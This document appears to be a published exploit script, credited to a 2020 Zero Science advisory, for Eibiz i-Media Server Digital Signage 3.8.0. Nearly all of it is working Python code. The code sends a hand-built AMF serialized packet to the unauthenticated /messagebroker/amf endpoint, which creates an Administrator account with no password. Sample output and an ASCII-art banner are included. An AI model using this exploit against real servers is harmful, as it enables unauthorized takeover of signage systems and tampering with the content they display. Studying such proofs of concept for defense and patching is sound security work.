Eibiz i-Media Server Digital Signage version 3.8.0 suffers from unauthenticated privilege escalation and arbitrary user creation vulnerability that allows authentication bypass. Once serialized, an AMF encoded object graph may be used to persist and retrieve application state or allow two endpoints to communicate through the exchange of strongly typed data. These objects are received by the server without validation and authentication and gives the attacker the ability to create any user with any role and bypass the security control in place and modify presented data on the screen/billboard.
21b41f43af648dca662d0ab37642578564bfab81368e243c65e5691dcaa6ebde#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# Eibiz i-Media Server Digital Signage 3.8.0 (createUser) Authentication Bypass (Add Admin)
#
#
# Vendor: EIBIZ Co.,Ltd.
# Product web page: http://www.eibiz.co.th
# Affected version: <=3.8.0
#
# Summary: EIBIZ develop advertising platform for out of home media in that
# time the world called "Digital Signage". Because most business customers
# still need get outside to get in touch which products and services. Online
# media alone cannot serve them right place, right time.
#
# Desc: The application suffers from unauthenticated privilege escalation and
# arbitrary user creation vulnerability that allows authentication bypass.
# Once serialized, an AMF encoded object graph may be used to persist and retrieve
# application state or allow two endpoints to communicate through the exchange
# of strongly typed data. These objects are received by the server without validation
# and authentication and gives the attacker the ability to create any user with
# any role and bypass the security control in place and modify presented data on
# the screen/billboard.
#
# =========================================================================================
#
# # python3 imedia_createUser.py 192.168.1.1 waddup
#
# --Sending serialized object...
# --Replaying...
#
# ------------------------------------------------------
# Admin user 'waddup' successfully created. No password.
# ------------------------------------------------------
#
# =========================================================================================
#
# Tested on: Windows Server 2016
# Windows Server 2012 R2
# Windows Server 2008 R2
# Apache Flex
# Apache Tomcat/6.0.14
# Apache-Coyote/1.1
# BlazeDS Application
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2020-5586
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5586.php
#
#
# 26.07.2020
#
#
import time as go
import requests
import sys
import re
class __CreateAdmin__:
def __init__(self):
self.ep = "/messagebroker/amf"
self.agent = "CharlieChaplin"
self.amfpacket = None
self.bytecount = None
self.bytesdata = None
self.address = None
self.headers = None
self.usrname = None
self.ende = None
def usage(self):
if len(sys.argv) != 3:
self.me()
msg = "\x20i-Media Server Digital Signage 3.8.0 Auth Bypass/Add Admin"
brd = "-" * len(msg + "\x20")
print("\n" + brd)
print(msg)
print("\x20Usage: ./i-media.py [ip] [username]")
print(brd)
exit(12)
else:
self.address = sys.argv[1]
self.usrname = sys.argv[2]
if not "http" in self.address:
self.address = "http://{}".format(self.address)
def amf(self):
self.headers = {"User-Agent" : self.agent,
"Accept" : "*/*",
"Accept-Language" : "en-US,en;q=0.5",
"Accept-Encoding" : "gzip, deflate",
"Origin" : self.address,
"Connection" : "close",
"Referer" : self.address + "/main.swf",
"Content-Type" : "application/x-amf"}
self.amfpacket = b"\x00\x03\x00\x00\x00\x01\x00\x04\x6E"
self.amfpacket += b"\x75\x6C\x6C\x00\x03\x2F\x33\x36\x00"
self.amfpacket += b"\x00\x01\xB3\x0A\x00\x00\x00\x01\x11"
self.amfpacket += b"\x0A\x81\x13\x4F\x66\x6C\x65\x78\x2E"
self.amfpacket += b"\x6D\x65\x73\x73\x61\x67\x69\x6E\x67"
self.amfpacket += b"\x2E\x6D\x65\x73\x73\x61\x67\x65\x73"
self.amfpacket += b"\x2E\x52\x65\x6D\x6F\x74\x69\x6E\x67"
self.amfpacket += b"\x4D\x65\x73\x73\x61\x67\x65\x0D\x73"
self.amfpacket += b"\x6F\x75\x72\x63\x65\x13\x6F\x70\x65"
self.amfpacket += b"\x72\x61\x74\x69\x6F\x6E\x13\x74\x69"
self.amfpacket += b"\x6D\x65\x73\x74\x61\x6D\x70\x09\x62"
self.amfpacket += b"\x6F\x64\x79\x11\x63\x6C\x69\x65\x6E"
self.amfpacket += b"\x74\x49\x64\x0F\x68\x65\x61\x64\x65"
self.amfpacket += b"\x72\x73\x15\x74\x69\x6D\x65\x54\x6F"
self.amfpacket += b"\x4C\x69\x76\x65\x17\x64\x65\x73\x74"
self.amfpacket += b"\x69\x6E\x61\x74\x69\x6F\x6E\x13\x6D"
self.amfpacket += b"\x65\x73\x73\x61\x67\x65\x49\x64\x01"
self.amfpacket += b"\x06\x15\x63\x72\x65\x61\x74\x65\x55"
self.amfpacket += b"\x73\x65\x72\x04\x00\x09\x03\x01\x0A"
self.amfpacket += b"\x81\x73\x1B\x64\x73\x2E\x6D\x6F\x64"
self.amfpacket += b"\x65\x6C\x2E\x55\x73\x65\x72\x11\x70"
self.amfpacket += b"\x61\x73\x73\x77\x6F\x72\x64\x0D\x63"
self.amfpacket += b"\x72\x65\x61\x74\x65\x07\x74\x65\x6C"
self.amfpacket += b"\x07\x66\x61\x78\x09\x6E\x61\x6D\x65"
self.amfpacket += b"\x0F\x61\x64\x64\x72\x65\x73\x73\x0D"
self.amfpacket += b"\x75\x70\x64\x61\x74\x65\x05\x69\x64"
self.amfpacket += b"\x0D\x6D\x6F\x62\x69\x6C\x65\x0F\x75"
self.amfpacket += b"\x44\x65\x6C\x65\x74\x65\x15\x64\x65"
self.amfpacket += b"\x70\x61\x72\x74\x6D\x65\x6E\x74\x09"
self.amfpacket += b"\x72\x6F\x6C\x65\x09\x72\x65\x61\x64"
self.amfpacket += b"\x0B\x65\x6D\x61\x69\x6C\x0F\x63\x6F"
self.amfpacket += b"\x6D\x70\x61\x6E\x79\x06\x01\x03\x06"
self.amfpacket += b"\x01\x06\x01\x06" ##################"
self.bytecount = len(self.usrname * 2) + 1
self.bytesdata = [self.bytecount]
self.amfpacket += "".join(map(chr, self.bytesdata))
self.amfpacket += (bytes(self.usrname.encode("utf-8")))
self.amfpacket += b"\x06\x01\x03\x06\x36\x06\x01\x03\x06"
self.amfpacket += b"\x01\x06\x1B\x41\x64\x6D\x69\x6E\x69"
self.amfpacket += b"\x73\x74\x72\x61\x74\x6F\x72\x03\x06"
self.amfpacket += b"\x01\x06\x01\x01\x0A\x0B\x01\x15\x44"
self.amfpacket += b"\x53\x45\x6E\x64\x70\x6F\x69\x6E\x74"
self.amfpacket += b"\x06\x0D\x6D\x79\x2D\x61\x6D\x66\x09"
self.amfpacket += b"\x44\x53\x49\x64\x06\x49\x39\x36\x42"
self.amfpacket += b"\x30\x42\x46\x38\x43\x2D\x41\x31\x31"
self.amfpacket += b"\x41\x2D\x38\x41\x32\x34\x2D\x38\x31"
self.amfpacket += b"\x43\x31\x2D\x35\x38\x37\x45\x41\x33"
self.amfpacket += b"\x41\x43\x41\x33\x38\x43\x01\x04\x00"
self.amfpacket += b"\x06\x17\x75\x73\x65\x72\x53\x65\x72"
self.amfpacket += b"\x76\x69\x63\x65\x06\x49\x39\x39\x46"
self.amfpacket += b"\x45\x43\x43\x46\x39\x2D\x34\x41\x38"
self.amfpacket += b"\x44\x2D\x46\x46\x34\x31\x2D\x31\x41"
self.amfpacket += b"\x36\x36\x2D\x42\x46\x39\x31\x32\x45"
self.amfpacket += b"\x42\x42\x44\x36\x35\x36" ##########"
print("\n--Sending serialized object...")
req = requests.post(self.address + self.ep, headers=self.headers, data=self.amfpacket)
#print(req.text.encode("utf-8"))
go.sleep(2)
print("--Replaying...")
req = requests.post(self.address + self.ep, headers=self.headers, data=self.amfpacket)
#print(req.text.encode("utf-8"))
self.ende = "Admin user '" + self.usrname + "' successfully created. No password."
print
print("-" * len(self.ende))
print(self.ende)
print("-" * len(self.ende))
def me(self):
cc = """
/`,.,,,.
:.......,,
,.........7
,.........$
......:=+=$
I.....,,:~,.:
$.?7IZDDNNN~.
$$: 8D=:I D,
D~,7NI7DNN
DDD NNN:
D8.ININ;
D8?7DZS
.ZDNNND D
S..,.~8?,N OO77
N......,..$=77:+?=~8
:......,::=.I8?:+=.=+~++
=.......,:+$=+O:+==~~++++=
8...........~7D$::~..~====:++
I.............:+.....~~~=~:~+?
N,............. .+...,:~=+~~ :+=$
;....... ......, .,....,:=+:,..~=?
Z,,...... :............,::~~=...===I
=.......$ Z...... =~,,,,.,:~,...,7~=
+....... 8.....,.=~~~:.~~~=:~ ..:$==
,...... +,..,,:.=~:~+I:,+I=8:...=?~
,....., =...,,,8+=,:~=~I=~~ N...:+?
,.,.,.8 ,..,.,?DN~+~:=+::?D ..:=?
8...... ,...7=Z$DN:?::=I~~$ =..,=+
...,..D ,....O88D,8D,:=:==+?? ...,:7
,....7 ,..:$Z8D8=8DZ~~=~+==? :..:~+
......8D .. .... :?~8D:.:~~=++ ..,~II
:....~D+: . . . ..,..==~===N +,.,=$
,. DDND.......... .,...,===+=N ..,+?Z
DD 88 .......... ....,..~+=~N ..,~?I
....... ,,.,,.:...=?? 8..~=I$
....... ...,,,,. ,:~= ..:=~?
........ ,.,,..,:.. I.:+?+D
....... .......,:,,8 ,..IN
........ .,.. ..,,:.: :8N
........ ... ..,::,, I+O
........ ......,:,. O.ZN
........ . . ...,,,,. D+
............ ....,,,. =
....... . ....,,, ?
....... .....,,, 7
...... . ..,,,, +
:..... ..,.,, 8
:....... =. .....,,,N 8
~....... D. .....,,,D 8
~....... D. . ...,,,O D
=.... .....,,Z ?`
+...... . :........,.$ +
I...... ........,.7 =
Z........ . . ....,,7 D
N..... ... . ........I 8
..... ... , ........I 8
...... . = .. .....I 7
:.. . ..7 8... .....I ?
Z.. D .. ....7 N NND88OOOOOOO88DN
O.. . .. ....O O D8OZ$77II777$$ZO8DN
... . .. . .....N NNNNDDD+D888OOZ$7IIIIII7$ZO8DDN
.,. ....O O.. ..88OOZZ$$777~777IIIIIIIIIIIIIII77$Z8N
$.. ...88.. ..:ZZZZ$77IIII,IIIIIIIIII77777IIII7ZODN
... ... ,7777IIIIIIII,IIIIII77$O88OZ7III7Z8N
Z.. ~7. . ,IIIIIIIIIIIII,IIII7$O8DN NDO$77$Z8N
=.. .. . 8. .IIIIIIIIIIIIII~I7$Z8DN NND88DDN
... .?, I777IIIIIIIII7$~O8N NNNNN
8.... .I. ...7IIIIII7$Z8DD NNNNN
NND=....~,=~ ...+I . . ..I$$ZO8DN NN NNNNN
N.+?~.~,=~=... ... $O.. . ...~:..=IINN $NNN
?,:..:,.=N I.....,,=I+ N8
~....,8
"""
j = 0
while j < len(cc):
char = cc[j]
sys.stdout.write(char)
go.sleep(10.0 / 100000.0)
j = j + 1
def main(self):
self.usage()
self.amf()
if __name__ == '__main__':
__CreateAdmin__().main()
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